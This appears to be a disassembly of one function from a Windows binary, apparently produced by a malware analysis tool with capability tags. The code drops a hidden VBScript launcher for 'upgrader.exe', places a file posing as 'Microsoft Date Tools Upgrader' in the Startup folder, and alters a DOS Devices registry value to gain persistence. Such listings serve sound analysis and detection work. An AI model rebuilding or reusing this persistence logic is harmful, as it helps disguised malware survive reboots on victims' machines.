Function at 0x140009510
Capabilities:
Check if file exists
Copy file
Move file
Set registry value

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
lea rbp, [rax - 0x2c8]
sub rsp, 0x3b0
mov qword [rbp + 0x160], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
lea rdx, str.C:WindowsTempupgrader.an
lea rcx, [rbp + 0x98]
call fcn.14000b708
nop
lea rdx, str.set_wsWScript.CreateObject__WScript.Shell___nws.Run___HomePath_AppDataLocalTempupgrader.exe__0
lea rcx, [rbp - 0x30]
call fcn.14000b708
nop
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x170]
call fcn.14000b858
nop
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x170]
call fcn.14000ee74
lea rcx, [rbp + 0x178]
call fcn.14000e148
xor esi, esi
test rax, rax
jne 0x1400095c1
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rcx, [rbp + rcx + 0x170]
mov edx, dword [rcx + 0x10]
or edx, 2
mov eax, edx
or eax, 4
cmp qword [rcx + 0x48], rsi
cmove edx, eax
xor r8d, r8d
call fcn.140002b68
lea rdx, [0x14004b578]
lea rcx, [rsp + 0x30]
call fcn.14000b708
nop
lea rdx, str.Microsoft_Date_Tools_Upgrader.an
lea rcx, [rsp + 0x58]
call fcn.14000b708
nop
lea rcx, str.APPDATA
call fcn.140024054
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.14000b708
nop
lea r8, str.MicrosoftWindowsStart_MenuPrograms
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x80]
call fcn.14000f154
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 8]
call fcn.14000f220
mov r12d, 8
cmp qword [rax + 0x18], r12
jb 0x140009635
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ebx, eax
cmp qword [rbp + 0x10], r12
jb 0x14000964f
mov rcx, qword [rbp - 8]
call fcn.140021190
test ebx, ebx
je 0x14000975c
cmp qword [rbp - 0x68], r12
jb 0x140009666
mov rcx, qword [rbp - 0x80]
call fcn.140021190
mov ebx, 7
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rbp - 0x40], r12
jb 0x140009686
mov rcx, qword [rbp - 0x58]
call fcn.140021190
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rsp + 0x70], r12
jb 0x1400096a3
mov rcx, qword [rsp + 0x58]
call fcn.140021190
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
cmp qword [rsp + 0x48], r12
jb 0x1400096c3
mov rcx, qword [rsp + 0x30]
call fcn.140021190
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rax, [rbp + 0x218]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rcx, [rbp + 0x178]
call fcn.14000bb34
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x218], rax
lea rcx, [rbp + 0x218]
call fcn.14003b594
nop
cmp qword [rbp - 0x18], r12
jb 0x14000974b
mov rcx, qword [rbp - 0x30]
call fcn.140021190
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
jmp 0x140009d0d
lea r8, str.Startup_
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 8]
call fcn.14000f154
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14000f2e0
cmp qword [rax + 0x18], r12
jb 0x14000978b
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov edi, eax
cmp qword [rbp + 0x60], r12
jb 0x1400097a5
mov rcx, qword [rbp + 0x48]
call fcn.140021190
mov ebx, 7
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x58], rsi
mov word [rbp + 0x48], si
cmp qword [rbp + 0x10], r12
jb 0x1400097c5
mov rcx, qword [rbp - 8]
call fcn.140021190
test edi, edi
je 0x1400098cd
cmp qword [rbp - 0x68], r12
jb 0x1400097dc
mov rcx, qword [rbp - 0x80]
call fcn.140021190
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rbp - 0x40], r12
jb 0x1400097f7
mov rcx, qword [rbp - 0x58]
call fcn.140021190
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rsp + 0x70], r12
jb 0x140009814
mov rcx, qword [rsp + 0x58]
call fcn.140021190
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
cmp qword [rsp + 0x48], r12
jb 0x140009834
mov rcx, qword [rsp + 0x30]
call fcn.140021190
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rax, [rbp + 0x218]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rcx, [rbp + 0x178]
call fcn.14000bb34
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x218], rax
lea rcx, [rbp + 0x218]
call fcn.14003b594
nop
cmp qword [rbp - 0x18], r12
jb 0x1400098bc
mov rcx, qword [rbp - 0x30]
call fcn.140021190
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
jmp 0x140009d0d
lea rdx, [0x14004b648]
lea rcx, [rbp + 0x70]
call fcn.14000b708
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x70]
call fcn.140002610
lea r11, [rbp + 0x2d0]
mov qword [rsp + 0x20], r11
mov r9d, 2
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea r11, [rbp + 0x70]
cmp qword [rbp + 0x88], r12
cmovae r11, qword [rbp + 0x70]
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], r12
cmovae rdx, qword [rsp + 0x30]
mov eax, dword [rbp + 0x80]
lea eax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r11
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x2d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x2d0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x30]
lea rdx, str.subst
lea rcx, [rbp + 0x138]
call fcn.14000ed78
nop
lea r8, [0x14004b6e0]
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.14000ee44
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14000f2e0
nop
lea r8, [0x14004b6dc]
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.14000ee44
nop
cmp qword [rbp + 0x60], r12
jb 0x1400099d8
mov rcx, qword [rbp + 0x48]
call fcn.140021190
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x58], rsi
mov word [rbp + 0x48], si
cmp qword [rbp + 0x128], r12
jb 0x1400099f9
mov rcx, qword [rbp + 0x110]
call fcn.140021190
mov qword [rbp + 0x128], rbx
mov qword [rbp + 0x120], rsi
mov word [rbp + 0x110], si
cmp qword [rbp + 0x150], r12
jb 0x140009a23
mov rcx, qword [rbp + 0x138]
call fcn.140021190
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x148], rsi
mov word [rbp + 0x138], si
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], r12
cmovae rcx, qword [rbp + 0xc0]
call fcn.1400241c4
lea r8, [0x14004b360]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 8]
call fcn.14000f154
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14000f2e0
cmp qword [rax + 0x18], r12
jb 0x140009a82
mov rax, qword [rax]
lea rcx, [rbp + 0x98]
cmp qword [rbp + 0xb0], r12
cmovae rcx, qword [rbp + 0x98]
xor r8d, r8d
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
cmp qword [rbp + 0x38], r12
jb 0x140009ab3
mov rcx, qword [rbp + 0x20]
call fcn.140021190
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x30], rsi
mov word [rbp + 0x20], si
cmp qword [rbp + 0x10], r12
jb 0x140009ace
mov rcx, qword [rbp - 8]
call fcn.140021190
lea r8, str.Startup_
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x280]
call fcn.14000f154
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp - 8]
call fcn.14000f2e0
mov rdi, rax
lea r8, [0x14004b360]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xe8]
call fcn.14000f154
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14000f2e0
cmp qword [rdi + 0x18], r12
jb 0x140009b2e
mov rdi, qword [rdi]
cmp qword [rax + 0x18], r12
jb 0x140009b37
mov rax, qword [rax]
mov r8d, 4
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
cmp qword [rbp + 0x38], r12
jb 0x140009b58
mov rcx, qword [rbp + 0x20]
call fcn.140021190
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x30], rsi
mov word [rbp + 0x20], si
cmp qword [rbp + 0x100], r12
jb 0x140009b79
mov rcx, qword [rbp + 0xe8]
call fcn.140021190
mov qword [rbp + 0x100], rbx
mov qword [rbp + 0xf8], rsi
mov word [rbp + 0xe8], si
cmp qword [rbp + 0x10], r12
jb 0x140009b9d
mov rcx, qword [rbp - 8]
call fcn.140021190
mov qword [rbp + 0x10], rbx
mov qword [rbp + 8], rsi
mov word [rbp - 8], si
cmp qword [rbp + 0x298], r12
jb 0x140009bbe
mov rcx, qword [rbp + 0x280]
call fcn.140021190
call fcn.1400093d4
nop
cmp qword [rbp + 0xd8], r12
jb 0x140009bd9
mov rcx, qword [rbp + 0xc0]
call fcn.140021190
mov qword [rbp + 0xd8], rbx
mov qword [rbp + 0xd0], rsi
mov word [rbp + 0xc0], si
cmp qword [rbp + 0x88], r12
jb 0x140009c00
mov rcx, qword [rbp + 0x70]
call fcn.140021190
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0x80], rsi
mov word [rbp + 0x70], si
cmp qword [rbp - 0x68], r12
jb 0x140009c21
mov rcx, qword [rbp - 0x80]
call fcn.140021190
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rbp - 0x40], r12
jb 0x140009c3c
mov rcx, qword [rbp - 0x58]
call fcn.140021190
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rsp + 0x70], r12
jb 0x140009c59
mov rcx, qword [rsp + 0x58]
call fcn.140021190
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
cmp qword [rsp + 0x48], r12
jb 0x140009c79
mov rcx, qword [rsp + 0x30]
call fcn.140021190
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rax, [rbp + 0x218]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rcx, [rbp + 0x178]
call fcn.14000bb34
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x218], rax
lea rcx, [rbp + 0x218]
call fcn.14003b594
nop
cmp qword [rbp - 0x18], r12
jb 0x140009d01
mov rcx, qword [rbp - 0x30]
call fcn.140021190
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
cmp qword [rbp + 0xb0], r12
jb 0x140009d22
mov rcx, qword [rbp + 0x98]
call fcn.140021190
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret